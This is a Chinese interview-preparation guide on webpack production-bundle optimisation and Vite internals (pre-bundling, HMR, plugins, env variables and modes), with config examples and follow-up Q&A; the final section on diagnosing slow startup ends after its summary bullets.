线上产物优化的目标,是减小体积、避免重复下载,并缩短首屏资源的加载时间。 可以用 import() 做懒加载、提取公共与第三方代码,再通过 contenthash 配合浏览器缓存;小图片转成 base64 能减少请求,但不适合体积较大的图片。生产环境开启 mode: 'production' 后会压缩代码,并基于 ES6 Module 的静态结构执行 Tree Shaking,而 CommonJS 无法这样静态分析。资源较多时还可接入 CDN,并用 IgnorePlugin 排除确实不需要的模块。

前言

  • 体积更小
  • 合理分包,不重复加载
  • 速度更快、内存使用更少

产出代码优化

  • 小图片base64编码,减少http请求
// 图片 - 考虑 base64 编码的情况
module: {
    rules: [
        {
            test: /\.(png|jpg|jpeg|gif)$/,
            use: {
                loader: 'url-loader',
                options: {
                    // 小于 5kb 的图片用 base64 格式产出
                    // 否则,依然延用 file-loader 的形式,产出 url 格式
                    limit: 5 * 1024,

                    // 打包到 img 目录下
                    outputPath: '/img1/',

                    // 设置图片的 cdn 地址(也可以统一在外面的 output 中设置,那将作用于所有静态资源)
                    // publicPath: 'http://cdn.abc.com'
                }
            }
        },
    ]
}
  • bundle加contenthash,有利于浏览器缓存
  • 懒加载import()语法,减少首屏加载时间
  • 提取公共代码(第三方代码Vue、React、loadash等)没有必要多次打包,可以提取到vendor中
  • IgnorePlugin忽略不需要的包(如moment多语言),减少打包的代码
  • 使用CDN加速,减少资源加载时间
    output: {
      filename: '[name].[contentHash:8].js', // name 即多入口时 entry 的 key
      path: path.join(__dirname, '..', 'dist'),
      // 修改所有静态文件 url 的前缀(如 cdn 域名)
      // 这样index.html中引入的js、css、图片等资源都会加上这个前缀
      publicPath: 'http://cdn.abc.com'  
    },
    
  • webpack使用production模式,mode: 'production'
    • 自动压缩代码
    • 启动Tree Shaking
      • ES6模块化,import和export,webpack会自动识别,才会生效
      • Commonjs模块化,require和module.exports,webpack无法识别,不会生效
      • ES6模块和Commonjs模块区别
        • ES6模块是静态引入,编译时引入
        • Commonjs是动态引入,执行时引入
        • 只有ES6 Module才能静态分析,实现Tree Shaking
  • Scope Hoisting:是webpack3引入的一个新特性,它会分析出模块之间的依赖关系,尽可能地把打散的模块合并到一个函数中去,减少代码间的引用,从而减少代码体积
    • 减少代码体积
    • 创建函数作用域更少
    • 代码可读性更好

💬 面试官追问

  • 商品列表把所有小图都转成 base64 后,请求数下降了,但首屏 JS 明显膨胀,你会继续提高内联阈值吗?

    不会仅凭请求数下降就提高阈值,base64 会进入产物并增加首屏传输与解析负担,只适合足够小且高频使用的图片。应按资源大小和首屏必要性设置有限阈值,较大图片仍输出独立文件,并结合缓存与 CDN 加载。

  • 多入口运营站的三个页面都打进了同一份 React 和工具库,用户切换页面时重复下载,你会怎样调整分包?

    应把稳定的第三方依赖提取到 vendor,把多个入口共享的业务模块提取为公共块,并让各页面只引用所需 chunk。调整后检查是否仍有重复模块及首屏是否引入无关代码;公共包过大也会让单页承担不必要成本。

  • 线上紧急修复只改了一行业务代码,但发布后用户仍重新下载全部静态资源,构建配置里文件名只有 [name].js,你会改哪里?

    应在输出文件名中加入基于内容的 contenthash,让内容未变化的资源保持 URL 稳定并继续命中浏览器缓存。还要保证公共依赖合理拆分,否则业务变化可能连带改变大包哈希;缓存策略需要与 CDN 和 HTML 更新机制配合。

  • 生产包已经设置 mode: 'production',但一个通过 require() 引入的大工具库仍完整进入产物,团队认为 Tree Shaking 失效了,你怎么排查?

    先检查该库及调用方是否使用可静态分析的 ES Module 导入导出,因为动态的 CommonJS 依赖难以被构建阶段可靠裁剪。再用产物分析确认未使用代码来自哪里;仅开启生产模式不能保证所有第三方包都具备可摇树的模块结构。

  • 内容站准备把所有路由都改成 import(),架构师追求最小首包,业务方担心用户点击后才等待,你会如何取舍?

    会优先懒加载非首屏、低频或体积较大的路由,减少初始下载,而不是把首屏关键模块也全部推迟。拆分过细会增加后续请求和加载等待,应结合页面访问路径确定边界;必要资源仍应随首屏加载或提前预取。

  • 静态资源迁到 CDN 后,HTML 中的脚本地址仍指向原站,图片规则又单独配置了另一个域名,你会检查哪些配置?

    先检查 output.publicPath 是否正确作用于脚本、样式和图片等统一资源地址,再核对图片 loader 是否用局部 publicPath 覆盖了全局值。修改后验证生成 HTML 和资源 URL;跨域、缓存刷新及 CDN 回源配置仍需同步处理。

# 9 Vite

本章按现代 Vite 的实现回答。Vite 的底层工具链仍在演进,面试时先讲稳定架构,再说明 esbuild、Rollup、Oxc、Rolldown 等具体分工需要结合所用版本确认。

# Vite 的原理是什么,为什么开发环境启动和更新快?

⚡ 30 秒速记

  • 传统打包式开发服务器启动前先构建应用依赖图并生成 bundle,项目越大,冷启动等待通常越明显
  • Vite 在开发环境以浏览器原生 ESM 为基础,源码按请求转换和返回,不必在启动时打包整个应用
  • 第三方依赖相对稳定,会单独预构建并强缓存;频繁修改的业务源码保持按需处理
  • 更新时沿模块图定位受影响的 HMR 边界,只推送变化模块,不必重新生成完整 bundle
  • 生产环境仍需要打包来减少请求瀑布和优化缓存;“开发不预打全量源码”不等于“完全没有构建工作”

Vite 开发时基于浏览器原生 ESM 按请求处理源码,不必启动前打包整个应用,所以冷启动和更新都更快。 浏览器从入口请求模块,Vite 再转换 TypeScript、JSX 等内容,未访问的模块暂时不处理。第三方依赖会预构建并缓存,文件变化时则沿模块图找到 HMR 边界,只推送受影响模块。生产环境仍要打包来优化请求和缓存,因此开发快不代表完全没有构建工作。

开发服务器启动后,浏览器从入口模块开始发送原生 ESM 请求。Vite 拦截请求,解析导入、转换 TypeScript、JSX 或框架单文件组件,再把可以直接执行的模块返回给浏览器。没有被当前页面请求到的源码不必提前转换,因此大型项目的冷启动不再强依赖全部模块数量。裸模块导入会被改写成浏览器可访问的 URL,第三方依赖则通过预构建解决格式兼容与过多请求问题。

文件变化时,Vite 根据模块图找到接受更新的边界,通过 WebSocket 把更新信息发给浏览器,浏览器重新请求带时间戳的新模块。框架插件再配合 React Fast Refresh 或 Vue 的热更新能力尽量保留组件状态。回答时不要把“Vite 快”简化成“因为用了某一个编译器”:核心是开发服务器架构和处理范围发生变化,底层原生工具只是进一步加速转换与打包。

代码示例:从一个入口观察按需模块请求

// src/main.ts
import { mountApp } from './app'
import 'react' // 裸导入会被 Vite 改写成依赖缓存 URL

mountApp()

// 只有用户进入报表页时,浏览器才请求并转换 report.ts
export const loadReport = () => import('./pages/report')

启动 vite --debug 后打开浏览器 Network:首屏会请求 main.ts、app.ts 及其依赖,report.ts 不会在冷启动时处理;触发 loadReport() 后才出现对应请求。这个例子验证的不是“某个编译器很快”,而是未被当前页面导入的业务模块没有进入首屏转换范围。

💬 面试官追问

  • 一个两万模块的前端仓库启动 Vite 很快,打开包含大量同步导入的可视化页面却仍然卡顿,这与“按需转换”矛盾吗?

    不矛盾,冷启动无需预先转换全部源码,但页面实际请求到的大量细碎模块仍要经历网络请求、解析和按需转换。应查看浏览器请求瀑布与服务端转换日志,定位同步导入范围;首屏依赖过宽时,架构优势也不能消除实际工作量。

  • 在 src/main.ts 中只有进入报表页才执行 import('./pages/report'),你怎样现场证明报表模块没有参与开发服务器冷启动?

    可启动带调试日志的开发服务器,并在浏览器 Network 中观察初次打开页面时的模块请求,报表模块此时不应出现。触发进入报表页后才应请求并转换对应文件;若冷启动已出现,就要检查是否还有其他静态导入路径。

  • 团队把“Vite 不打包”写进技术方案,但项目里既有裸导入 react,又要发布压缩后的生产资源,你会如何纠正?

    应限定为开发阶段不先把全部业务源码打成单一 bundle,浏览器从入口按原生 ESM 请求源码模块。第三方依赖仍会预构建,生产阶段也会打包、分块和压缩;把“不打包”当成全生命周期结论会误导缓存与部署设计。

  • 一个框架插件升级后,修改单个组件时服务端 CPU 飙升且更新变慢,你会先怪底层转换器吗?

    不会先归因于某个转换器,Vite 的速度主要来自开发服务器架构和处理范围,插件转换同样可能扩大受影响模块。应对照模块请求、插件处理耗时和模块图传播范围;若插件为每次变更生成不稳定标识,换更快工具也未必解决。

  • 大型单体应用在 Vite 与传统全量打包式开发服务器之间选型,负责人只比较首次启动时间,你会补充哪些判断?

    还应比较首个复杂页面的模块请求数量、转换成本、依赖预构建稳定性以及更新传播范围,而不能只看进程启动完成。Vite 对未访问源码按需处理很有优势,但同步导入面过大、插件繁重时,页面首次加载仍可能成为瓶颈。

  • 修改组件后浏览器只重新请求一个带时间戳的模块且状态保留,这条链路中原生 ESM、模块图和 WebSocket 分别承担什么角色?

    原生 ESM 让浏览器能按模块重新请求代码,服务端模块图用于确定受影响范围和可接受边界,WebSocket 负责推送更新信息。框架插件再完成状态友好的替换;若找不到安全边界,链路最终仍可能退化为整页刷新。

# Vite 为什么需要依赖预构建?

⚡ 30 秒速记

  • 浏览器不能直接理解 import react from 'react' 这类裸模块路径,Vite 要解析并改写成可访问 URL
  • 预构建会把 CommonJS / UMD 依赖转换为开发服务器可消费的 ESM
  • 对包含大量内部模块的依赖进行合并,避免浏览器为一个包发出数百个级联请求
  • 结果缓存在 node_modules/.vite,锁文件、相关配置或运行环境变化时会重新生成
  • optimizeDeps.include / exclude 用于处理自动发现不到、链接包或特殊互操作问题,不应无依据乱配

Vite 预构建依赖,是为了让浏览器能加载不同模块格式,并避免一个依赖拆出大量级联请求。 它会处理裸模块导入,把 CommonJS、UMD 等依赖转换为开发服务器可消费的 ESM,再合并内部模块。结果缓存在 node_modules/.vite,依赖或相关配置变化时才重新生成。遇到动态依赖或链接包未被发现时,我会先用 vite --debug 排查,再谨慎配置 optimizeDeps。

业务源码变化频繁,适合按需转换;第三方依赖变化少,却可能仍以 CommonJS 发布,或者像工具库一样拆成大量 ESM 文件。Vite 首次启动时扫描入口和源码中的依赖导入,将需要的依赖预构建后放入缓存,并给浏览器返回稳定的依赖 URL。浏览器还会对这些请求使用强缓存,依赖版本变化时再通过 URL 版本标识失效。

排查“新增依赖后页面反复刷新”时,应看依赖是否通过动态方式导入、是否在初始扫描中遗漏,以及 monorepo 链接包是不是有效 ESM。确需强制重新分析可以使用 vite --force。不要把删除缓存当作长期解决方案;若每次启动都重新预构建,应继续检查锁文件、配置是否被脚本反复改写或依赖发现规则是否不稳定。

配置示例:稳定发现动态依赖和 monorepo 链接包

// vite.config.ts
import { defineConfig } from 'vite'

export default defineConfig({
  optimizeDeps: {
    // 自动扫描看不到、但运行时一定会用到的依赖显式纳入
    include: ['lodash-es', '@workspace/legacy-ui > legacy-cjs-dep'],
    // 小且已经是有效 ESM 的依赖才考虑排除;CommonJS 不要排除
    exclude: ['tiny-esm-only-package']
  }
})

先运行 vite --debug 确认确实存在重复发现或互操作问题,再加配置。修改后执行 vite --force 做一次冷启动,随后再次启动应复用 node_modules/.vite 缓存;如果仍反复预构建,就继续检查锁文件和配置是否每次变化。

💬 面试官追问

  • 一个工具库已经发布为 ESM,但内部拆成上千个文件,同事认为格式正确就无需预构建,你认同吗?

    不认同,依赖预构建不仅处理 CommonJS 兼容,也用于合并过度碎片化的依赖,避免浏览器产生大量模块请求。应观察该库的请求瀑布再决定;仅凭 ESM 格式排除预构建,可能把启动成本转移到浏览器。

  • 业务通过运行时变量加载一个依赖,初始扫描没有发现,页面首次进入该功能时反复刷新,你会怎样配置和验证?

    先用调试日志确认依赖确实因动态导入方式漏过初始扫描,再把确定会使用的包加入 optimizeDeps.include。执行一次 vite --force 重新分析后复测冷启动与二次启动;若导入目标本身不稳定,静态配置也可能无法完整覆盖。

  • monorepo 中的链接组件库本身是有效 ESM,但它内部依赖一个旧 CommonJS 包,你会把整个链接包放进 exclude 吗?

    不会简单排除整个链路,应确认链接包按源码处理的方式,并把其内部需要互操作的 CommonJS 依赖显式纳入预构建。可使用链式依赖配置稳定发现;若误排除 CommonJS,浏览器可能无法直接执行其模块格式。

  • 开发机每天首次启动都会重新预构建,团队脚本直接删除 node_modules/.vite 后再启动,你会怎样追根因?

    删除缓存只能触发一次重建,不能解释为何缓存持续失效。应检查锁文件、依赖版本标识、Vite 配置及依赖发现结果是否被脚本反复改写,并用调试日志比较两次启动;输入持续变化时,强缓存自然无法复用。

  • 一个很小且标准的 ESM 包被团队要求加入 optimizeDeps.exclude,另一方坚持所有依赖统一预构建,你会如何裁决?

    标准且文件很少的 ESM 依赖可以在验证后排除,因为它没有格式兼容或请求爆炸问题;统一预构建则能减少特殊配置并保持行为稳定。应以调试结果和请求形态决定,排除项过多会增加遗漏复杂依赖的风险。

  • 依赖预构建后的 URL 长期命中浏览器强缓存,升级锁文件后为什么仍能拿到新版本,而不是永远使用旧代码?

    预构建结果使用稳定缓存提升重复启动和加载速度,但依赖版本变化会反映到 URL 的版本标识,使旧缓存失效。若升级后仍加载旧内容,应检查锁文件是否真正更新、服务端是否重新分析以及浏览器请求 URL 是否改变,而非只清空缓存。

# Vite 的 HMR 原理是什么?

⚡ 30 秒速记

  • 开发服务器维护模块图,记录模块的导入者、依赖和是否能接受热更新
  • 文件变化后只失效相关模块,并沿导入链寻找最近的 HMR Boundary
  • 服务端通过 WebSocket 发送更新描述,浏览器用新 URL 重新请求变化模块
  • 模块可通过 import.meta.hot.accept() 接受更新;找不到边界时会退化为整页刷新
  • React/Vue 的状态保留来自框架插件能力,不是 Vite 核心自动理解所有组件状态

Vite 的 HMR 本质上是根据模块图定位更新边界,再通过 WebSocket 通知浏览器只重新加载变化模块。 文件保存后,它会沿导入链查找能通过 import.meta.hot.accept() 接受更新的模块,并用带时间戳的 URL 绕过缓存。找不到合适边界时,更新会退化为整页刷新。React 或 Vue 能否保留组件状态主要取决于框架插件,改变 Hook 顺序或存在难以替换的副作用时仍可能丢失状态。

当文件被保存,Vite 先根据模块图判断哪些模块受影响。如果当前模块能自接受更新,或上层导入者声明可以接受它,服务端就生成一次局部更新;否则继续向上传播,直到找到边界或确认必须刷新页面。客户端收到 WebSocket 消息后,用附加时间戳的 URL 绕过缓存,再执行模块注册的处理函数。

框架插件会把这个底层机制包装成更符合组件模型的体验。例如更新组件渲染逻辑时可以保留父级状态,但改变 Hook 顺序、模块副作用或无法安全替换的导出时,仍可能丢状态或整页刷新。若热更新异常,可使用 Vite 的 hmr 调试日志查看传播路径,并检查循环依赖、插件返回的模块标识和自接受边界,而不是只重启开发服务器。

代码示例:模块主动接受依赖更新

// counter.ts
export const renderCount = (value: number) => `count: ${value}`

// main.ts
import { renderCount } from './counter'

let count = 1
const render = (format = renderCount) => {
  document.querySelector('#app')!.textContent = format(count)
}
render()

if (import.meta.hot) {
  import.meta.hot.accept('./counter', (nextModule) => {
    // 只替换格式化模块,main.ts 中的 count 仍然保留
    if (nextModule) render(nextModule.renderCount)
  })
  import.meta.hot.dispose((data) => {
    data.lastCount = count // 需要跨模块实例保留的数据可显式保存
  })
}

修改 counter.ts 时,main.ts 是接受边界,浏览器重新导入依赖而不整页刷新;删除 accept 后再修改,更新会继续向上传播,找不到边界时退化为刷新。实际 React/Vue 项目通常由官方插件生成这些边界,不需要业务组件手写。

💬 面试官追问

  • 修改一个普通工具函数后页面整页刷新,同事说只要启用了 WebSocket 就一定能局部更新,你会怎么反驳?

    WebSocket 只负责把更新消息推给客户端,并不保证存在可安全替换的边界。Vite 会沿模块图向上传播,只有模块自接受或导入者接受更新时才局部替换;一直找不到边界就必须整页刷新。

  • 计数器页面希望修改 counter.ts 的格式化逻辑时保留 main.ts 中的计数值,你会把接受逻辑写在哪里?

    应由导入 counter.ts 的 main.ts 调用 import.meta.hot.accept('./counter', callback),在回调中使用新模块重新渲染。这样只重新导入依赖,当前模块中的计数仍保留;删除接受边界后,更新会继续向上传播并可能刷新页面。

  • React 页面改一行渲染文本能保留状态,但调整 Hook 顺序后状态丢失,产品认为 HMR 出故障了,你如何判断?

    这通常是框架热更新的安全边界变化,不一定是底层消息链路故障。渲染逻辑可被安全替换时能够保留状态,而 Hook 顺序、模块副作用或导出形态变化可能迫使组件重建;强行保留会带来状态与代码不一致。

  • 接入自研插件后,每次修改组件都显示收到更新消息,却最终整页刷新,你会按什么路径排查?

    先开启 hmr 调试日志查看更新沿模块图的传播路径,确认在哪一层未找到接受边界。再检查插件返回的模块标识是否前后一致、是否引入循环依赖,以及框架插件是否识别组件边界;反复重启只能掩盖标识或依赖图问题。

  • 一个表单模块含有初始化副作用,团队想通过 dispose 保存所有运行状态,保证任何代码修改都不刷新,你会同意吗?

    不会承诺任何修改都能无损保留,dispose 适合显式保存需要跨模块实例延续的数据,也应清理旧副作用。若新旧模块结构不兼容或副作用无法安全撤销,应允许重新初始化甚至整页刷新,否则容易产生重复订阅和脏状态。

  • 页面保存文件后能立即看到新内容,但输入框状态每次清空,你怎样区分这是 Live Reload 还是局部 HMR?

    先观察浏览器是否发生文档级导航或整页资源重新加载;若整个页面重建且状态清空,更接近 Live Reload。局部 HMR 通常只重新请求带时间戳的受影响模块并执行接受回调,但框架判断无法安全替换时也可能主动重建组件状态。

# Vite 开发环境和生产构建有什么区别?

⚡ 30 秒速记

  • 开发环境优先启动速度、增量转换、源码调试和 HMR,模块主要按浏览器请求提供
  • 生产环境优先加载性能、兼容目标和长期缓存,需要打包、分块、压缩与资源哈希
  • optimizeDeps 主要影响开发期依赖优化,不等于生产环境的代码分割策略
  • 开发正常不代表生产一定正常,要特别验证动态导入、资源路径、环境变量、base 和浏览器目标
  • 当前具体打包器属于版本事实,回答时应以项目锁定版本和官方文档为准

Vite 开发环境侧重快速启动、按需转换和 HMR,生产构建则侧重加载性能、兼容性与长期缓存。 开发时模块主要按浏览器请求提供;生产时会分析完整模块图,完成打包、分块、压缩和资源哈希。同一插件还可能只在 serve 或 build 阶段生效,所以开发正常不代表构建一定正常。我一般会在 CI 执行正式构建,再用 vite preview 检查动态导入、base、资源路径和环境变量。

开发时,Vite 尽量保留源码模块关系,以便快速转换和精确更新;生产构建则需要分析完整模块图,把共享依赖抽取为 chunk,处理动态导入、CSS、静态资源和哈希命名,并根据目标浏览器做语法转换与压缩。两者都复用 Vite 插件体系,但同一插件可能通过 apply: 'serve' 或 apply: 'build' 只在某个阶段运行,因此会出现开发可用、构建失败的差异。

实际项目应在 CI 中执行正式构建,并用预览或接近生产的服务器验证产物。常见问题包括部署子路径下 base 错误、运行时读取了仅开发存在的变量、文件名大小写在 Linux 上失败、依赖的开发/生产导出不同,以及手工分包造成循环 chunk。面试回答要说明如何验证差异,而不只是背“开发用 A、生产用 B”。

配置示例:开发代理与生产分包分别配置

// vite.config.ts
import { defineConfig } from 'vite'

export default defineConfig(({ command, mode }) => ({
  base: mode === 'production' ? '/console/' : '/',
  server: {
    // 只在 dev server 生效,不会进入生产产物
    proxy: { '/api': 'http://localhost:8080' }
  },
  build: {
    sourcemap: mode === 'staging',
    rolldownOptions: {
      output: {
        manualChunks: { framework: ['react', 'react-dom'] }
      }
    }
  },
  define: {
    __BUILD_COMMAND__: JSON.stringify(command)
  }
}))

验证顺序是 vite dev 检查代理与 HMR,vite build --mode staging 检查 source map 和 chunk,再用 vite preview 检查 /console/ 资源路径。配置字段会随版本演进,真实项目必须以锁定版本的 Vite 配置类型和官方文档为准。

💬 面试官追问

  • 后台项目在 vite dev 中路由、接口和热更新都正常,执行 vite build 却在动态导入处失败,为什么不能据此认定是 Vite 构建器有缺陷?

    开发服务器按请求转换并尽量保留源码模块关系,生产构建则要静态分析完整模块图,处理动态导入、共享 chunk、资源哈希和压缩。先依据构建错误定位无法分析的导入或阶段限定插件;开发可访问不代表该写法能被生产构建解析。

  • 应用要部署到 /console/ 子路径,开发时所有资源都是 200,构建后首页能开但脚本和图片全部 404,你会改哪里并怎样验证?

    应让生产模式的 base 与 /console/ 部署前缀一致,再重新执行正式构建。随后用 vite preview 检查产物中的脚本、CSS 和静态资源路径,但反向代理、服务端路由与缓存头仍须放到接近真实的部署环境验证。

  • 测试环境要求保留 source map,生产环境必须关闭,同时开发代理仍只转发 /api,你会怎样避免三套配置互相污染?

    在 defineConfig 回调中依据 command 和 mode 分支配置,让 server.proxy 只服务开发阶段,并令 build.sourcemap 仅在 staging 开启。模式分支应进入 CI 的实际构建命令验证,否则变量命名正确也可能因使用了错误 mode 而失效。

  • macOS 上 vite dev 和本地构建都通过,Linux CI 却报告模块找不到,而仓库里同时出现 UserCard.tsx 与小写导入路径,你先查什么?

    先核对导入语句与真实文件名的大小写,因为不同文件系统对大小写的处理可能不同,Linux 构建会暴露本地未发现的问题。再检查生产导出、环境变量和仅在 serve 生效的插件;不要靠修改 CI 路径规则掩盖源码不一致。

  • 团队为了缓存命中手工把 react、业务公共包和多个动态页面塞进固定 manualChunks,随后出现循环 chunk 警告,你会保留还是撤回这套分包?

    先依据完整模块图确认循环关系,并收缩或撤回造成环依赖的手工分包,让构建器重新决定共享依赖边界。固定分包有利于控制产物结构,但会承担依赖演进后的维护成本;若没有持续验证缓存与加载收益,不应只为目录好看而保留。

# Vite 插件机制如何工作,常用钩子有哪些?

⚡ 30 秒速记

  • Vite 插件接口兼容并扩展打包器插件约定,同一插件可参与开发服务器和生产构建
  • resolveId 负责解析模块标识,load 提供模块内容,transform 转换已有源码
  • configureServer 可扩展开发服务器,transformIndexHtml 用于处理 HTML,handleHotUpdate 可定制热更新
  • 用 enforce: 'pre' | 'post' 和 apply: 'serve' | 'build' 控制顺序与生效阶段
  • 插件应稳定缓存、生成可追踪 source map,并避免在每个模块转换时执行昂贵 I/O

Vite 插件按模块处理阶段依次介入开发服务器和生产构建,常用钩子是 resolveId、load 和 transform。 它们分别负责解析模块标识、提供模块内容和转换源码,开发阶段还可用 configureServer、handleHotUpdate 扩展服务与热更新。enforce 控制执行顺序,apply 限定 serve 或 build 阶段。实际编写时应拆开各阶段职责,并做好缓存和 source map,避免重复磁盘读取拖慢转换。

例如实现一个把 .feature 文件转换成 JavaScript 模块的插件:resolveId 识别并规范化路径,load 读取原始内容,transform 解析语法并返回代码与 source map。如果还要在开发时监听外部生成文件,可以通过开发服务器能力和 handleHotUpdate 触发对应模块失效。每个钩子只负责一个阶段,避免把路径解析、文件读取和代码生成全塞进同一个函数。

排查插件顺序问题时,先确认插件在 dev/build 哪个阶段生效,再查看 pre、普通、post 顺序和模块 ID 是否一致。插件性能问题常来自对每个模块重复读取配置、同步访问磁盘或没有缓存转换结果。生产插件还要关注错误定位:没有正确 source map 时,转换后的堆栈会偏离源码,短期省事会变成长期调试成本。

代码示例:实现一个可运行的虚拟模块插件

// plugins/build-meta.ts
import type { Plugin } from 'vite'

const publicId = 'virtual:build-meta'
const resolvedId = `\0${publicId}`

export function buildMetaPlugin(): Plugin {
  return {
    name: 'build-meta',
    resolveId(id) {
      if (id === publicId) return resolvedId
    },
    load(id) {
      if (id === resolvedId) {
        return `export default ${JSON.stringify({ channel: 'docs' })}`
      }
    },
    handleHotUpdate({ file, server }) {
      if (file.endsWith('build-meta.json')) {
        const mod = server.moduleGraph.getModuleById(resolvedId)
        if (mod) server.moduleGraph.invalidateModule(mod)
      }
    }
  }
}

业务代码可以 import meta from 'virtual:build-meta'。resolveId 把公开 ID 映射为带 \0 的内部虚拟 ID,load 生成真正的 ESM 源码;配置文件变化时只失效对应模块。这个例子把解析、加载和 HMR 三个职责拆开,方便分别测试。

💬 面试官追问

  • 一个 .feature 插件把路径解析、读文件和生成 JavaScript 全写进 transform,开发能跑但测试难定位,你会怎样拆分职责?

    用 resolveId 识别并规范化导入目标,交给 load 提供原始或生成内容,再由 transform 完成语法转换并返回代码与 source map。职责拆分后可分别验证路径、输入和输出;混在单个钩子里会让缓存、错误定位和阶段差异更难判断。

  • 业务要支持 import meta from 'virtual:build-meta',插件不能在磁盘创建临时文件,你会怎样设计公开 ID 和内部 ID?

    让 resolveId 将公开 ID 映射为带 \0 前缀的内部虚拟 ID,再由 load 针对该 ID 返回合法 ESM 源码。业务只依赖稳定的公开名称,内部标记可避免被当作普通文件继续解析;生成内容仍要保证可序列化且语法有效。

  • 同一插件在开发环境转换正常,生产构建完全没有输出,配置中还混用了 apply 与 enforce,你会如何判断是阶段还是顺序导致的?

    先检查 apply 是否把插件限制为 serve 或 build,再比较两个阶段收到的模块 ID 和查询参数。确认插件确实执行后,才检查 pre、普通、post 的顺序冲突;只调整 enforce 无法修复插件根本未进入该阶段的问题。

  • 保存 build-meta.json 后页面仍显示旧渠道信息,但重启开发服务器就恢复,你会在哪个钩子里处理,失效范围多大?

    在 handleHotUpdate 中识别该配置文件,找到内部虚拟 ID 对应的模块,并通过模块图只使它失效。这样下一次加载会重新生成元数据,不必清空整个模块图;若配置影响多个派生模块,则必须显式覆盖全部依赖边界。

  • 大型项目里某插件对每个模块同步读配置,终端显示转换阶段持续变慢,你会如何拿到证据并优化?

    先按模块 ID 记录插件转换耗时,确认慢点来自重复读取或代码生成,而不是浏览器请求与执行。随后缓存稳定配置和转换结果,避免同步磁盘访问;缓存键必须包含会改变输出的输入,否则提速会换来陈旧产物和错误失效。

  • 插件转换后的线上堆栈全部指向生成代码,维护者提议先不生成 source map 以缩短开发时间,你会接受吗?

    不应把缺失 source map 当作长期方案,因为转换后位置会偏离源码,直接增加生产错误定位成本。至少应让 transform 返回与生成代码匹配的映射并验证堆栈;代价是实现和维护映射,但复杂转换越多,这项成本越难回避。

# Vite 中环境变量和 mode 怎么使用,为什么不能存密钥?

⚡ 30 秒速记

  • 客户端代码通过 import.meta.env 读取环境信息,只有允许暴露的前缀变量才会进入客户端
  • mode 决定加载哪组 .env 文件,但它不天然等于 NODE_ENV
  • 客户端变量会在构建后出现在静态产物中,前缀只是暴露规则,不是加密或安全隔离
  • 真正密钥必须留在服务端,通过受控接口使用;提交仓库前还要检查 .env 忽略规则
  • 环境变量通常按字符串读取,布尔值、数字和结构化配置应显式解析并校验

Vite 客户端通过 import.meta.env 读取环境变量,mode 决定加载对应的 .env 文件,但这些变量不能保存密钥。 只有指定前缀的变量会暴露给客户端,不过前缀只是筛选规则,构建后内容仍能从静态产物或运行时看到。数据库密码、私钥和管理员 token 必须留在服务端,通过受控接口使用。变量默认按字符串处理,像 "false" 也是真值,因此布尔值、数字和地址都应显式解析并校验。

例如 VITE_API_BASE_URL 可以作为公开接口地址注入前端,但数据库密码、云服务私钥和管理员 token 即使加上 VITE_ 前缀也不会变安全。构建工具会把可访问变量替换进客户端代码或产物,用户可以通过下载 JavaScript、查看网络请求或运行时对象得到它。需要保密的操作必须放到服务端,由服务端读取未暴露变量并执行鉴权。

团队项目可以用 .env.development、.env.production 区分模式,再通过 schema 在启动或构建时检查必填项、URL 格式和枚举值。不要依赖 Boolean(import.meta.env.VITE_FLAG),因为字符串 "false" 转成布尔值仍为真;应显式比较或解析。发生“本地正常、部署后接口地址错误”时,要核对构建时 mode、部署平台注入时机和静态产物是否需要重新构建。

代码示例:显式解析公开变量,不把密钥送进浏览器

# .env.production
VITE_API_BASE_URL=https://api.example.com
VITE_ENABLE_ANALYTICS=false
DATABASE_PASSWORD=server-only-secret
// src/env.ts
const apiBaseUrl = new URL(import.meta.env.VITE_API_BASE_URL).toString()
const enableAnalytics = import.meta.env.VITE_ENABLE_ANALYTICS === 'true'

export const env = { apiBaseUrl, enableAnalytics }

// ❌ 永远不要在客户端写 import.meta.env.DATABASE_PASSWORD
// 即使改名成 VITE_DATABASE_PASSWORD,也只是把密钥公开进产物

enableAnalytics 必须显式与字符串 'true' 比较;Boolean('false') 的结果仍是真。生产发布前可以在 dist/assets 搜索密钥特征,作为防止误暴露的最后一道检查,但真正防线仍是密钥从不进入客户端前缀变量。

💬 面试官追问

  • 运营把 .env.production 中的 VITE_ENABLE_ANALYTICS=false 上线后,埋点仍然开启,代码写的是 Boolean(import.meta.env.VITE_ENABLE_ANALYTICS),错在哪里?

    环境变量读到的是字符串,Boolean('false') 仍为真,因此该判断会错误开启埋点。应显式比较 import.meta.env.VITE_ENABLE_ANALYTICS === 'true';若还允许其他取值,则要增加校验,避免拼写错误被静默当成关闭。

  • 后端同事把 DATABASE_PASSWORD 改名为 VITE_DATABASE_PASSWORD,理由是前端登录页需要直连数据库,你会怎样阻止这次上线?

    任何被客户端代码引用的 VITE_ 前缀变量都可能进入构建产物,改名前缀不会让密钥安全。数据库访问必须留在服务端,由前端调用受控接口;否则用户可检查资源取得凭据,构建后再删除配置文件也无法挽回暴露。

  • 多租户控制台需要在同一份 dist 中按部署环境切换 API 地址,团队却只在服务器上修改 .env.production,为什么页面不会自动变化?

    客户端环境变量通常在构建时注入,服务器部署后修改 .env.production 不会重写既有静态资源。若必须复用同一份产物,应设计运行时配置接口或外部配置文件并规定缓存策略;这会增加启动依赖和配置不可用时的降级处理。

  • CI 构建时报 new URL(import.meta.env.VITE_API_BASE_URL) 异常,而开发机正常,你会怎样排查这个环境差异?

    先确认生产模式实际加载到的 VITE_API_BASE_URL 是否存在且为合法绝对 URL,再核对 CI 使用的 mode 和变量注入来源。保留 new URL(...) 的显式校验有助于让错误在构建或启动阶段暴露;用空字符串兜底可能把故障推迟到线上请求。

  • 安全审查发现仓库没有提交 .env.local,负责人因此认定前端不存在密钥泄漏,你会要求补哪一道发布检查?

    未提交本地文件只能降低源码仓库泄漏风险,不能证明变量没有被客户端构建引用。发布前可在 dist/assets 搜索密钥特征作为最后检查,同时审计所有 VITE_ 变量;真正边界仍是服务端秘密从不进入客户端变量。

# Vite 项目启动慢或热更新慢,如何排查?

⚡ 30 秒速记

  • 先区分冷启动、首个页面加载、单次转换、HMR 传播和浏览器执行,不能只看一个总耗时
  • 用 vite --debug、vite --profile、浏览器 Network 与 CPU Profile 找到慢在依赖、插件还是应用代码
  • 检查重型 transform 插件、重复文件扫描、桶文件、循环依赖、超大模块和大量细碎请求
  • 依赖反复预构建时检查锁文件、配置稳定性、动态依赖发现和 monorepo 链接包
  • 优化后用同一机器、入口与缓存状态复测,分别报告冷启动和热更新数据

